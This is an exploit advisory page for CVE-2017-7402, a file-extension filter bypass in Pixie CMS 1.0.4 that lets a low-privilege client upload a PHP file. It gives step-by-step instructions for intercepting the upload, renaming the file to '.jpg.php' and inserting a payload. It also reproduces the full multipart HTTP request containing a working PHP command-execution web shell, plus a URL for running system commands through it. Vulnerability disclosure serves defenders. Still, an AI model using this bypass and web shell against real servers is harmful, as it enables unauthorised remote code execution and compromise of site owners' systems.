Pixie 1.0.4 Arbitrary File Upload

2017.04.04
Credit: rungga_reksya
Risk: High
Local: No
Remote: Yes
CWE: N/A


Ogólna skala CVSS: 7.5/10
Znaczenie: 6.4/10
Łatwość wykorzystania: 10/10
Wymagany dostęp: Zdalny
Złożoność ataku: Niska
Autoryzacja: Nie wymagana
Wpływ na poufność: Częściowy
Wpływ na integralność: Częściowy
Wpływ na dostępność: Częściowy

# Exploit Title: File Extension Filter Bypass in File Manager Pixie 1.0.4 With Low Privilege # Google Dork: no # Date: 02-April-2017 # Exploit Author: @rungga_reksya, @dvnrcy, @dickysofficial # Vendor Homepage: http://www.getpixie.co.uk # Software Link: https://us.softpedia-secure-download.com/dl/44791fdde14260bc7a8d08df65bcd048/58db4b5c/700044699/webscripts/php/pixie_v1.04.zip # Version: 1.0.4 # CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H (7.5 - HIGH)# CVE-2017-7402 I. Background: Pixie is a free, open source web application that will help quickly create your own website. Many people refer to this type of software as a "content management system (cms)", we prefer to call it as Small, Simple, Site Maker. II. Description: in Pixie CMS have three types for account privilege for upload: - Administrator - Can access file manager but restricted extension for file upload. - Client - Can access file manager but restricted extension for file upload. - User - Cannot access file manager Generally Pixie CMS have restricted extension for file upload and we cannot upload php extension. in normally if we upload php file, Pixie CMS will give information rejected like this “Upload failed. Please check that the folder is writeable and has the correct permissions set”. III. Exploit: In this case, we used privilege as client and then access to “file manager” (http://ip_address/folder_pixie_v1.04/admin/index.php?s=publish&x=filemanager). Please follow this step: 1. Prepare software to intercept (I used burpsuite free edtion). 2. Prepare for real image (our_shell.jpg). 3. Browse your real image on file manager pixie cms and click to upload button. 4. Intercept and change of filename “our_shell.jpg” to be “our_shell.jpg.php” 5. Under of perimeter “Content-Type: image/jpeg”, please change and write your shell. in this example, I use cmd shell. 6. If you done, forward your edit request in burpsuite and the pixie cms will give you information like this “our_shell.jpg.php was successfully uploaded”. 7. PWN (http://ip_address/folder_pixie_v1.04/files/other/our_shell.jpg.php?cmd=ipconfig) ———— POST /pixie_v1.04/admin/index.php?s=publish&x=filemanager HTTP/1.1 Host: 192.168.1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Trident/7.0; rv:11.0) like Gecko Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://192.168.1.1/pixie_v1.04/admin/index.php?s=publish&x=filemanager Cookie: INTELLI_843cae8f53=ovfo0mpq3t2ojmcphj320geku1; loader=loaded; INTELLI_dd03efc10f=2sf8jl7fjtk3j50p0mgmekpt72; f9f33fc94752373729dab739ff8cb5e7=poro8kl89grlc4dp5a4odu2c05; PHPSESSID=1ml97c15suo30kn1dalsp5fig4; bb2_screener_=1490835014+192.168.1.6; pixie_login=client%2C722b69fa2ae0f040e4ce7f075123cb18 Connection: close Content-Type: multipart/form-data; boundary=---------------------------8321182121675739546763935949 Content-Length: 901 -----------------------------8321182121675739546763935949 Content-Disposition: form-data; name="upload[]"; filename="our_shell.jpg.php" Content-Type: image/jpeg <?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; } ?> -----------------------------8321182121675739546763935949 Content-Disposition: form-data; name="file_tags" ourshell -----------------------------8321182121675739546763935949 Content-Disposition: form-data; name="submit_upload" Upload -----------------------------8321182121675739546763935949 Content-Disposition: form-data; name="MAX_FILE_SIZE" 102400 -----------------------------8321182121675739546763935949 Content-Disposition: form-data; name="bb2_screener_" 1490835014 192.168.1.6 -----------------------------8321182121675739546763935949-- This is our screenshot from PoC: | | | Upload for valid image | | | | Change extension and insert your shell | | | | Your shell success to upload on server | | | | Example command for ipconfig | | | | Example command for net user | IV. Thanks to: - Alloh SWT - MyBoboboy - @rungga_reksya, @dvnrcy, @dickysofficial - Komunitas IT Auditor & IT Security Kaskus


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top